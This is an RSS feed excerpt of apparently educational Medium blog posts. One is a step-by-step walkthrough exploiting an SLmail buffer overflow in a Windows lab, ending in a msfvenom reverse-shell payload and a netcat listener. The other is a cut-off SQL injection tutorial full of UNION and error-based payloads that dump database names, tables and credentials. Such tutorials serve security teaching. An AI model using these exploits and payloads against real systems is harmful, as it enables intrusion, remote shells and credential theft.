src="https://cdn-images-1.medium.com/max/807/0*pmoCjDvCS0qmfvyU.png" /></figure><h3>References &amp; Resource:</h3><ul><li><a href="https://github.com/corelan/mona">GitHub - corelan/mona: Corelan Repository for mona.py</a></li><li><a href="https://dheerajdeshmukh.medium.com/buffer-overflow-attack-exploit-stack-based-buffer-overflow-6d7dfe33c350">Buffer Overflow Attack — Exploit Stack Based Buffer Overflow</a></li></ul><blockquote><strong><em>Thank You for reading this blog.</em></strong></blockquote><blockquote><strong><em>If you have any Doubt regarding this then feel free to contact with me</em></strong></blockquote><blockquote><strong><em>You can follow me on linkedin and twitter</em></strong></blockquote><p><strong><em>Linkedin</em></strong> :- <a href="https://www.linkedin.com/in/dheeraj-deshmukh-65b7901a4/">https://www.linkedin.com/in/dheeraj-deshmukh-65b7901a4/</a></p><p><strong><em>Twitter</em></strong> :- <a href="https://twitter.com/dheeraj_deshmuk">https://twitter.com/dheeraj_deshmuk</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=4336c5f6292f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Buffer Overflow Attack — Exploit Stack Based Buffer Overflow]]></title>
            <link>https://systemweakness.com/buffer-overflow-attack-exploit-stack-based-buffer-overflow-6d7dfe33c350?source=rss-146858c3eb55------2</link>
            <guid isPermaLink="false">https://medium.com/p/6d7dfe33c350</guid>
            <category><![CDATA[buffer-overflow]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[attack]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Dheeraj Deshmukh]]></dc:creator>
            <pubDate>Thu, 11 Feb 2021 21:00:31 GMT</pubDate>
            <atom:updated>2021-04-07T07:04:50.379Z</atom:updated>
            <content:encoded><![CDATA[<h3>Buffer Overflow Attack — Exploit Stack Based Buffer Overflow</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*g_XefR_YiUTfqjPOBxnCzg.jpeg" /><figcaption>image from unplash</figcaption></figure><p>Hello Everyone, in this blog we are going to learn about the Buffer Overflow attack and specially a Stack based Buffer Overflow attack . We exploit SLmail service of windows 7 which have vulnerability of buffer overflow , we exploit it in detail and maually step by step.You can download all the scripts which is use in this blog from <a href="https://github.com/Dheeraj-Deshmukh/Buffer-Overflow">here</a></p><h4><strong>Buffer Overflow :-</strong></h4><p>Buffer is a memory region in the computer which stores data for short period of time while it is being transferred from one location to another. Buffer overflow happen when volume of data exceeds the storage capacity of the buffer memory which leads to overwrite the data location in the memory.</p><p><strong><em>Understanding Buffer Overflow with Simple example</em></strong></p><ul><li>Let suppose we have Login Page.</li><li>While login into the page we have to give username and password.</li><li>Let suppose username have memory size 8 bytes.</li><li>And we type username of 10 bytes then there is 2 bytes extra which leads to buffer overflow.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/373/1*1dwuY0TJXFnmlHcHtlOD1g.jpeg" /><figcaption>image from EC-Councel-Blog</figcaption></figure><h4>Buffer Overflow Attack :-</h4><p>In Buffer Overflow attack attacker exploit the application by overwriting the execution path of the program and run their malicious code by overwriting the execution path.</p><p>In simple language attacker overwrite the return address to the address of their own malicious code and execut it , as a result they get the reverse connection of our computer system.</p><p><strong><em>Impact of Buffer Overflow Attack :</em></strong></p><ul><li>Unstable Program Behavior</li><li>System crash</li><li>Memory access errors</li><li>Code over-riding</li><li>Security exploitation threat</li><li>Un-authorized data access</li><li>Excursive privilege actions</li><li>Data theft and Data loss</li></ul><p><strong><em>There are typically two types of buffer overflow attack :-</em></strong></p><ul><li>Stack-Based Buffer Overflow Attack</li><li>Heap-Based Buffer Ovrflow Attack</li></ul><h4>Stack-Based Buffer Overflow Attack</h4><h4>Stack :</h4><p>Stack is a linear data structure which follows a particular order in which the operations are performed. The order may be LIFO(Last In First Out) or FILO(First In Last Out). For Example, there is box in which books are stored when we analyze that how books are store then we find that the book which enter into the box firstly then we are able to take it out in last which means first in last out(FILO) .</p><h4>Attack :</h4><p>The stack resides in process memory of our system with a fixed storage capacity and has a Last-In-First-Out data structure .It manages all the memory allocating and memory free-up functions without manual intervention. When the memory input exceeds the limit of stack an overflow occurs resulting in data exploit. A stack overflow can occur in following cases:</p><ul><li>Outbound declaration of variables</li><li>Infinite recursion</li></ul><h3>Exploiting SLmail Service</h3><h4>Lab Setup :</h4><ul><li>Windows 7 (32 bit )</li><li>Kali Linux ( Attacker Pc )</li><li>Immunity Debugger in Windows pc</li><li>SLmail in windows 7</li><li>Link to Download vulnerable service <a href="https://www.exploit-db.com/exploits/638">click here</a></li><li>Python in Kali .</li></ul><h4>SLmail :-</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*LbNMfI7J6ISK0rEBw3jC6A.png" /></figure><p><strong>1.)</strong> Install and configure sl mail on windows 7 from exploit db.</p><p>link :- <a href="https://www.exploit-db.com/exploits/638">https://www.exploit-db.com/exploits/638</a><br> <br><strong>2.)</strong> Go to the SLmail folder and run as administrator configuration file and go to control and restart it.</p><p><strong>3.)</strong> After restarting the service go to the command prompt and check that service is started successfully or not by using command :</p><blockquote>netstat -a</blockquote><p><strong>4.)</strong> Come to te attacker pc and verify it by using nmap :</p><blockquote>nmap -v -p- 1982.168.29.23</blockquote><ul><li>from above we find that port 25 and 110 is open which is of smtp mail service.</li></ul><blockquote><em>nmap -v -sV -sC -A -p25,110 192.168.29.23</em></blockquote><ul><li>We get th version of the service of running on it</li><li>We find on google that the service is vulnerable to buffer overflow with password parameter<br> <br><strong>5.)</strong> Now connect with that for verifing :-</li></ul><blockquote>nc 192.168.29.23 110<br> <br> USER ANONYMOUS<br> PASS AAAAAAAAAAAAAA</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/671/1*HJBtY4LLed814_YTDjDcMg.png" /></figure><h4><strong>Steps to Exploit SLmail :</strong></h4><h3><strong>1. Crashing the service</strong></h3><ul><li>Firstly we have to start the service of SLmail (Run as administrator)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*t0TgUJPYCC7PcST0j-krXg.png" /></figure><ul><li>Open immunity Debugger (Rus as Administrator) and attach the SLmail Process.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GHz5AFVgpvv8oydv9T4wvg.png" /></figure><ul><li>Now for carshing service we have Python script fuzz-1.py</li></ul><pre>#!/usr/bin/python</pre><pre>import sys,socket</pre><pre>sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)</pre><pre>sock.connect((sys.argv[1],110))</pre><pre>sock.recv(1024)</pre><pre>buffer = “A”*40000</pre><pre>sock.send(‘USER username\r\n’)</pre><pre>sock.recv(1024)</pre><pre>sock.send(‘PASS ‘ + buffer + ‘\r\n’)</pre><pre>sock.send(‘QUIT\r\n’)</pre><pre>sock.close()</pre><ul><li>Now run the service in immunity debugger and at the same time run the python script [<em> python fuzz-1.py 192.168.29.23</em> ] and Boom service is crashed.EIP is overwrite with 41414141 which is value of A which we send.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RY5vMtjmgdPsq75uuZv99w.png" /></figure><h3>2. <strong>Verifying Offset (EIP) and ESP starting</strong></h3><p>For verifying offset (EIP) and ESP starting we have two script which is present at the location :</p><p>/usr/share/metasploit-framework/tools/exploit/</p><p>At this location there is two script :</p><p>a ) pattern_create.rb : For creating pattern.</p><p>b ) pattern_offset.rb : For calculating offset.</p><ul><li>Now we have to create pattern of length 4000</li></ul><blockquote>./pattern_create.rb -l 4000</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*C9hFTNu_skX2ESIyYcrnZw.png" /></figure><ul><li>Copy this pattern and paste it in our script in the place of A</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*f_Sha4d6HZv-AUyqhFWgpQ.png" /></figure><ul><li>Restart SLmail service and immunity debugger . Attach the SLmail service and run it , at the same time run our new python script in which pattern is present , as a result we get EIP .</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*r8YnuPYTIW60hN37iYUzAA.png" /></figure><ul><li>We get EIP 39694438</li><li>From this EIP Calculate offset , for calculating offset we have another script at location :</li></ul><p>/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb</p><ul><li>Run the script whith EIP</li></ul><blockquote>./pattern_offset.rb -q 39694438</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/808/1*Xb_jKaoG-mvn-w4gI53u1Q.png" /></figure><ul><li>We get exact match on 2606.</li><li>Now Verifying that the offset 2606 is correct or not for thi we have to make some changes in our script , we send 2606 A and then BBBB . If our offst 2606 is correct then EIP addreess has 42424242 (ascii of B is 42).</li></ul><pre>#!/usr/bin/python</pre><pre>import sys,socket<br>sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)</pre><pre>sock.connect((sys.argv[1],110))<br>sock.recv(1024)<br>buffer = “A” * 2606<br>buffer += “BBBB”<br>buffer += “C”*1390<br>sock.send(‘USER username’ + ‘\r\n’)<br>sock.recv(1024)<br>sock.send(‘PASS ‘ + buffer + ‘\r\n’)<br>sock.send(‘QUIT\r\n’)<br>sock.close()</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*g8HKY2Ld59-aLsTGtvEtzQ.png" /></figure><ul><li>Value of EIP is 42424242 , Its prove that the offset value is 2606.</li></ul><h3>3. Finding bad characters</h3><ul><li>We need to find bad characters because developer sometime block some character and if we generate shell code with that bad characters then we can’t get execution of the shellcode due to the bad character , so we have to find out the bad character for proper shellcode generation.</li><li>We have Python script which generate bad character .</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/326/1*3GP0tZ78d_BT7gBuXekAYA.png" /></figure><ul><li>Run this script and generate bad characters</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0BUvfVaUe3wppuzNV4qrtA.png" /></figure><ul><li>Now paste this bad characters in our script</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Rs3DP741mS3Q-Si7LGbYjg.png" /></figure><ul><li>Again start same process restart the service , immunity debugger and attach the service and run the service simultainuously run python script then in the we have to analyze that each bad character is present or not from starting to end from 01 to ff . If we get wrong sequence the the last character we read in the sequece is bad caracter. We can simply find bad character when we see the disturbnce in sequence then there is badcarcter present .</li><li>In the above service i get 3 bad character :</li></ul><blockquote>\x00 \x0a \x0d</blockquote><ul><li>you can also use mona script to find out the bad character in fast way but manually we find badcharater like this.</li></ul><h3>4. Find Return Address ( JMP ESP )</h3><ul><li>For executing the stack we have to point out the ESP address. Then we overwrite the return address with the JMP ESP address and we get execution to our code .</li><li>Restart the service , restart the immunity debugger and attach the service.</li><li>Now press :: [ ALT + E ]</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QQGdzpMOhxTCwJ5DzaGibg.png" /></figure><ul><li>Select USER32.dll module (double click on it ) .</li><li>Now Press ::: [ CTRL + f ]</li><li>search for JMP ESP .</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KsROSaQFa7yEr8NOJpENOQ.png" /></figure><ul><li>Note Down the address of JMP ESP</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UHAHGSf8EHCa-J_m0188JQ.jpeg" /></figure><ul><li>We have JMP ESP address 773E4E2B</li></ul><h3>5. Generate shellcode and Script</h3><ul><li>Now we have enough stuff to get the reverse connection by executing shellcode .</li></ul><blockquote>&gt;&gt; Offset value : 2606</blockquote><blockquote>&gt;&gt; Bad Characters : \x00 \x0a \x0d</blockquote><blockquote>&gt;&gt; JMP ESP Address : 773E4E2B</blockquote><ul><li>Generate Shell code using msfvenom</li></ul><blockquote>msfvenom -p windows/shell_reverse_tcp LHOST=192.168.29.45 LPORT=4455 -f c -b ‘\x00\x0A\x0D’</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/760/1*E4B1d4MWU6tlQ80_uLL5tQ.png" /></figure><ul><li>Now make a script for execution of the shellcode</li><li>Send 2606 “ A” in the buffer, 2606 is our offset value</li><li>After 2606 Mention return address( JMP ESP )in reverse order :</li></ul><blockquote>Actual Address : 773E4E2B</blockquote><blockquote>Reverse order : “\x2B\x4E\x3E\x77”</blockquote><ul><li>Then send 32 nops (slider)</li><li>And then finally send Shellcode and complete the script as shown below</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/517/1*a_eEa8UqhdJFo2SSyoG88w.png" /></figure><ul><li>Our script is complete now .</li><li>Start the listner on attacker pc at port 4455</li></ul><blockquote>nc -nlvp 4455</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/532/1*ol2hmabJXG6CV2rqMgUZCQ.png" /></figure><h3>6. Get Reverse Connection</h3><ul><li>Restart SLmail service</li><li>Restart immunity debugger</li><li>Attach the process of SLmail</li><li>Run the Service And run our script</li><li>Boom we get reverse connection of the pc</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/807/1*_3AmIGGuRoCAIIaH4wu66Q.png" /></figure><h3>References &amp; Resource:</h3><p><a href="https://www.loginsoft.com/blog/2018/11/02/stack-buffer-overflow-vulnerabilities-a-serious-threat-to-the-cyber-applications/">Stack Buffer Overflow Vulnerabilities - A Serious Threat to the Cyber Applications - Loginsoft - Cybersecurity, Software Development, Offshore Services</a></p><blockquote><strong><em>Thank You for reading this blog.</em></strong></blockquote><blockquote><strong><em>If you have any Doubt regarding this then feel free to contact with me</em></strong></blockquote><blockquote><strong><em>You can follow me on linkedin and twitter</em></strong></blockquote><p><strong><em>Linkedin</em></strong> :- <a href="https://www.linkedin.com/in/dheeraj-deshmukh-65b7901a4/">https://www.linkedin.com/in/dheeraj-deshmukh-65b7901a4/</a></p><p><strong><em>Twitter</em></strong> :- <a href="https://twitter.com/dheeraj_deshmuk">https://twitter.com/dheeraj_deshmuk</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6d7dfe33c350" width="1" height="1" alt=""><hr><p><a href="https://systemweakness.com/buffer-overflow-attack-exploit-stack-based-buffer-overflow-6d7dfe33c350">Buffer Overflow Attack — Exploit Stack Based Buffer Overflow</a> was originally published in <a href="https://systemweakness.com/">System Weakness</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[SQL INJECTION — The Coolest Vulnerability]]></title>
            <link>https://dheerajdeshmukh.medium.com/sql-injection-the-coolest-vulnerability-31c12e412d56?source=rss-146858c3eb55------2</link>
            <guid isPermaLink="false">https://medium.com/p/31c12e412d56</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[sqli]]></category>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[vulnerability]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Dheeraj Deshmukh]]></dc:creator>
            <pubDate>Tue, 29 Dec 2020 15:38:42 GMT</pubDate>
            <atom:updated>2021-05-02T11:58:25.019Z</atom:updated>
            <content:encoded><![CDATA[<h3>SQL INJECTION — The Coolest Vulnerability</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/620/1*XKqJVWvDsy77fE0AI9Ry1w.gif" /><figcaption>gif from <a href="https://shahjerry33.medium.com/">shahjerry33.medium.com</a></figcaption></figure><p>Hello Everyone, in this blog we are going to learn all about the sql injection, Im very exited to write this blog because this is one of the my favourite vulnerability in injection attacks .In this we will cover the topics like what is sql injection, types of sql injection, techniques to perform sql injection attack, how to prevent your sites from the sql injection and much more with suitable examples and Payloads.Let start…</p><blockquote><strong>:::::: ATTACKING ON ANY SITE WITHOUT PERMISSION IS ILLEGAL ::::::</strong></blockquote><p><strong>SQL Injection (sqli) :-</strong></p><p>As we know that in OWASP(<em>Open Web Application Security Project</em>) top 10 Injection attack holds first position(A1) since 2010 and still remain same . Sql injection is also a type of an injection attack in which attacker inject malicious sql queries via url or by any input box in order to get the private or confidential information from the database of the target. This private and confidential information contains, id- passwords of admin, bank details , identity details , secrets of trade, any government secrets and so on…, if such type of information are leaked then there are lots of threats to the perticular organization like loss of revenue, loss of reputation, loss of privacy etc .It can work on vulnerable webpages and apps that use a backend database like MySQL, Oracle, and MSSQL. By the vulnerability of sql injection attacker are able to perform operations such as , delete, update , modify and insert.</p><p><em>Understand sql injection with example :-</em></p><ul><li>let us conside there is a government site in which all the data of property tax and incom tax are saved.</li><li>Attacker want to delete the recorde of the property tax of someone.</li><li>Now to do this Attacker start reconnaissance about that site and after that he find vulnerability of sql injection in it.</li><li>Then attacker run some malicious query and delete the record from the database .</li><li>Beside of this he get id password of the admin panel of that site in the database through which he can access the admin panel and get full access over the site.</li><li>In above example attacker give the query to database to work according to attacker . So now replace the give word with the inject which is same as give .</li><li>So Finally we say that the process of injecting the malicious query to the database which work according to the attacker is known as sql injection .</li></ul><p>Sql injection vulnerability is not a vulnerability of any software or server it’s only a vulnerability of code which arisies when unsanitize input are taken.</p><p><strong>Types of Sql injection :-</strong></p><p>There are mainly three types of sql injection :</p><ul><li>Error Based sql Injection</li><li>Union Based sql Injection</li><li>Blind sql injection</li></ul><p>Blind injection are further divided into to type :</p><ul><li>Boolean-Based Blind sql injection</li><li>Time-Based Blind sql injection</li></ul><h3><strong>[1] ERROR BASED SQL INJECTION :-</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/815/1*t4fgNRYYUSYydLFOGAUOSA.png" /></figure><p>When attacker give arbitary input via url or input box in order to run malacious query then some kind of errors are generated from the database if query not work properly , then by this error attacker come to know about the structure of the query or database which is define by the developer and then he reconstruct their query according to errors which is in working condition. So in this vulnerability errors are shown that’s why this is known as Error Based Sql Injection.</p><p><strong>Perform Attack :<em>-</em></strong></p><p>Attack are performed in following 4 steps —</p><ol><li>Break the Query.</li><li>Join the Query.</li><li>Find Number of Column.</li><li>Run second select query and find the place of output from where we get database name , table name , column name and data from the column .</li></ol><p><strong><em>STEP — 1</em></strong></p><p><strong><em>Break the query :-</em></strong></p><p>The term break the query represent to generate errors by giving arbitary input.In this attacker identify how to write query in order to execute the malicious query.</p><p><em>Following are the ways to break the query :-</em></p><ul><li>Single quote :- ’</li><li>Double quotes :- ”</li><li>Bracket :- )</li><li>Single quote with bracket :- ’)</li><li>Double quotes with bracket :- ”)</li><li>Backslesh :- \</li><li>Sometime we dont need to Break the query, we can directly perform it without breaking.</li></ul><p><em>Examples and payload of query break :-</em></p><p><strong><em>Requirnment :-</em></strong></p><ul><li>Mysql</li><li>Apache2</li><li>PHP</li></ul><p>Firstly you have create a file and database to practise this.</p><p><em>Creating Database :-</em></p><p><em>I consider that you know about mysql and able to create database . If you Cant then you have to learn mysql first so you are able to understand it properly.</em></p><ul><li><a href="http://dheerajdeshmukh.rf.gd/sql_injection/data.txt"><em>Click here</em></a> to create database for this.</li><li>Now our database is ready.</li><li>Make a connection file <em>db_config.php</em> to connect our page to the database.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*BR3Tz3YWlfK7Qwx-3AYBQQ.png" /></figure><ul><li>Our connection file is ready.</li><li>Now make a php file to perform sql injection attack.</li><li>file name :- error-based-injection-1.php.</li></ul><p>content :-</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/891/1*3bxughINdevHIMYS-dzACw.png" /></figure><p>In the above example id parameter is in single quotes so in this example our query is break through single quotes.</p><ul><li>Open your Browser and Browse your file.</li></ul><blockquote><a href="http://localhost/error-based-injection-1.php?id=1">http://localhost/error-based-injection-1.php?id=1</a></blockquote><p>you get username and password of first person.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/648/1*EmJGZLJVoJy6Kpn4nWi59g.png" /></figure><ul><li>Now Break the Query to perform Sql injection :-</li></ul><ol><li><strong>Single Quote:-</strong></li></ol><p>Payload :-</p><blockquote><a href="http://localhost/error-based-injection-1.php?id=1">http://localhost/error-based-injection-1.php?id=1</a>&#39;</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6j9eQriakd73o4ClSw_I0Q.png" /></figure><p>In this way we can break the Query.</p><p><strong>2. Single Quote with Bracket :-</strong></p><p>$query = “SELECT * from users where id=(‘$id’) LIMIT 0,1”;</p><blockquote>Payload:- <a href="http://localhost/error-based-injection-1.php?id=1">http://localhost/error-based-injection-1.php?id=1</a>&#39;)</blockquote><p><strong>3. Brackets :-</strong></p><p>$query = “SELECT * from users where id=($id) LIMIT 0,1”;</p><blockquote>Payload:- <a href="http://localhost/error-based-injection-1.php?id=1">http://localhost/error-based-injection-1.php?id=1</a>)</blockquote><p><strong>4. Double Quotes with Bracket :-</strong></p><p>$id =’”’ . $id .’”’;<br> $query = “SELECT * from users where id=($id) LIMIT 0,1”;</p><blockquote>Payload:- <a href="http://localhost/error-based-injection-1.php?id=1">http://localhost/error-based-injection-1.php?id=1</a>&quot;)</blockquote><p><strong>5. Nothing to do :-</strong></p><p>$query = “SELECT * from users where id=$id LIMIT 0,1”;</p><blockquote>Payload:- <a href="http://localhost/error-based-injection-1.php?id=1">http://localhost/error-based-injection-1.php?id=1</a></blockquote><p><strong><em>STEP — 2</em></strong></p><p><strong><em>Join the query :-</em></strong></p><p>join query is used to join the breaked query in order to run malicious query without any error .</p><p><strong><em>Following are some ways to join the query :-</em></strong></p><ul><li>--+</li><li>--%20</li><li>%23 value of hash</li><li>or 1 = ‘1</li></ul><p><strong>Payloads :-</strong></p><blockquote>Payload:- <a href="http://localhost/error-based-injection-1.php?id=1">http://localhost/error-based-injection-1.php?id=1</a>&#39;--+</blockquote><blockquote>Payload:- <a href="http://localhost/error-based-injection-1.php?id=1">http://localhost/error-based-injection-1.php?id=1</a>&#39;--%20</blockquote><blockquote>Payload:- <a href="http://localhost/error-based-injection-1.php?id=1">http://localhost/error-based-injection-1.php?id=1</a>&#39; %23</blockquote><blockquote>Payload:- <a href="http://localhost/error-based-injection-1.php?id=1">http://localhost/error-based-injection-1.php?id=1</a>&#39; or 1 = ‘1</blockquote><blockquote>Payload:- <a href="http://localhost/error-based-injection-1.php?id=1">http://localhost/error-based-injection-1.php?id=1</a>&#39; or ‘1</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/643/1*jqOFw3Nf7sY06I2KsfvDCA.png" /></figure><p>In this way we can join the Query.</p><p><strong><em>STEP — 3</em></strong></p><p><strong><em>Find Number of Column :-</em></strong></p><ul><li>Now we have to find out the number of column using <strong>order by.</strong></li><li>To know how many column in the Table we use order by in increasing order and whenever we get error then the privious number is number of column present in the table</li><li>Payload :-</li></ul><blockquote>Payload:- <a href="http://localhost/error-based-injection-1.php?id=1">http://localhost/error-based-injection-1.php?id=1</a>&#39; order by 1,2,3 --+</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/642/1*cfyQtOdgAvJEG0o0IoV4iA.png" /></figure><blockquote>Payload:- <a href="http://localhost/error-based-injection-1.php?id=1">http://localhost/error-based-injection-1.php?id=1</a>&#39; order by 1,2,3,4--+</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qMe033vmAKDc8a7ZLfLUTw.png" /></figure><p>In this we get error.</p><ul><li>Its confirm that there are 3 columns present in the table.</li></ul><p><strong><em>STEP — 4</em></strong></p><p><strong><em>Run second select query and find the place of output from where we get data :-</em></strong></p><ul><li>To run second select query we use<strong> union all select</strong></li><li>Form step 3 we know that there are 3 column in the table</li><li>Payload :-</li></ul><blockquote>Payload:- <a href="http://localhost/error-based-injection-1.php?id=1">http://localhost/error-based-injection-1.php?id=1</a>&#39; union all select 1,2,3--+</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/642/1*gtAom7THK9e44U0-zE_4cw.png" /></figure><ul><li>Now we can get data at any column 1,2 or 3</li></ul><ol><li><strong><em>Find Database Name :</em></strong>-</li></ol><p>Function :- database( )</p><p><em>Payload :-</em></p><blockquote><a href="http://localhost/error-based-injection-1.php?id=1">http://localhost/error-based-injection-1.php?id=1</a>&#39; union all select 1,database(),3--+</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/696/1*gz9JllzTr0LEYaQgrjRR5Q.png" /></figure><p>We get database name at the place of the second column.</p><p><strong><em>2. Find Username :</em></strong>-</p><p>Function :- current_user( )</p><p><em>Payload :-</em></p><blockquote><a href="http://localhost/error-based-injection-1.php?id=1">http://localhost/error-based-injection-1.php?id=1</a>&#39; union all select 1,current_user(),3--+</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/900/1*aOLhzZ3iHQWR7mwfXreD5g.png" /></figure><p>We get username</p><p><strong><em>3. Find Table Name :-</em></strong></p><p>— Now we use information schema to find out all the information</p><p><strong><em>Payload -1 :- Get table name one by one .</em></strong></p><blockquote><a href="http://localhost/error-based-injection-1.php?id=1">http://localhost/error-based-injection-1.php?id=1</a>&#39; union all select 1,table_name,3 from information_schema.tables where table_schema=database() limit 1,1--+</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/509/1*IFL1WNj6v4sF6Wl0EqPBQg.png" /></figure><ul><li>users is your first table name.</li><li>To get name of another table increase the limit .</li><li>limit 2,1 get second table name if exist.</li><li>limit ,1 get thirdtable name if exist. &amp; this process is continue till last table</li></ul><p><strong><em>Payload -2 :- Get all table name at once .</em></strong></p><blockquote><a href="http://localhost/error-based-injection-1.php?id=1">http://localhost/error-based-injection-1.php?id=1</a>&#39; union all select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8WkuifK-8l2CwJCoKQdJFw.png" /></figure><ul><li>We get all the table name from the database at once.</li><li>In my database 4 tables are present.</li></ul><p><strong><em>4. Find Column Name :-</em></strong></p><p>We find out column name from the user table.</p><p><strong><em>Payload :- 1</em></strong></p><blockquote><a href="http://localhost/error-based-injection-1.php?id=1">http://localhost/error-based-injection-1.php?id=1</a>&#39; union all select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=’users’--+</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H2_sUONV9U-poTheGiClTg.png" /></figure><ul><li>We have 3 column id username and password</li><li>sometime this payload is not working then use second payload.</li></ul><p><strong><em>Payload :- 2</em></strong></p><blockquote><a href="http://localhost/error-based-injection-1.php?id=1">http://localhost/error-based-injection-1.php?id=1</a>&#39; union all select 1,column_name,3 from information_schema.columns where table_schema=database() and table_name=’users’ limit 1,1--+</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/436/1*raWsZTkx4uyzSGMOpC6Vow.png" /></figure><ul><li>We get first column name because limit is 1,1</li><li>Now we have increase limits and extract all the column name from the users table limit 2,1 limit 3,1 and so on …</li><li>Now we have table name column name no next step is to extract data from the column.</li></ul><p><strong><em>5. Extract Data :-</em></strong></p><p><strong><em>Payload :- 1</em></strong></p><blockquote><a href="http://localhost/error-based-injection-1.php?id=1">http://localhost/error-based-injection-1.php?id=1</a>&#39; union all select group_concat(id),group_concat(username),group_concat(password) from users where table_schema=database()--+</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*89aOQFtoueJwnd2_TDCOTQ.png" /></figure><ul><li>We get all the data from table at once.</li><li>If you get any error then you should run it one by one</li></ul><p><strong><em>Payload :- 2</em></strong></p><blockquote><a href="http://localhost/error-based-injection-1.php?id=1">http://localhost/error-based-injection-1.php?id=1</a>&#39; union all select id,username,password from users --+</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HqGiVenlYTPa3N_iOsO37A.png" /></figure><ul><li>Finally We get all the data</li></ul><h3><strong>[2] UNION BASED INJECTION :-</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/325/1*0JO_QZcUT7L6S_K6Oeaiig.png" /><figcaption>image by :- security Idiots !!</figcaption></figure><p>In this injection we get data on screen but that data is constant not from the database it always looks same and can’t give any errors,if we break the query then it give us blank page and then we join the query then again the same data shown on the screen .Now in this case we have to generate error and in that error we get our all the data.</p><p>Code of thi file :-</p><p>file name :- union-based-injection.php</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/684/1*ofHuWM8ue9OUqy3F5kRB_g.png" /></figure><p><strong><em>Payloads </em></strong>:-</p><ul><li><strong>To find database name :-</strong></li></ul><blockquote><a href="http://localhost/sql_injection/double-query-injection-2">http://localhost/sql_injection/</a>union-based-injection<a href="https://kyanc.edu.bd/page.php?id=10&#39;">.php?id=1</a>&#39; AND (select 1 from (select count(*), concat(0x3a,0x3a,(select database()),0x3a,0x3a , floor(rand()*2))a from information_schema.tables group by a)b)--+</blockquote><p>You will get database name between ::: ::: and if you cant get then refresh it again and again.</p><ul><li><strong>To Find Username :-</strong></li></ul><blockquote><a href="http://localhost/sql_injection/double-query-injection-2">http://localhost/sql_injection/</a>union-based-injection<a href="https://kyanc.edu.bd/page.php?id=10&#39;">.php?id=1</a>&#39; AND (select 1 from (select count(*), concat(0x3a,0x3a,(select current_user()),0x3a,0x3a , floor(rand()*2))a from information_schema.tables group by a)b)--+</blockquote><p>You will get user name between ::: ::: and if you cant get then refresh it again and again.</p><ul><li><strong>To find table name :-</strong></li></ul><blockquote><a href="http://localhost/sql_injection/double-query-injection-2">http://localhost/sql_injection/</a>union-based-injection<a 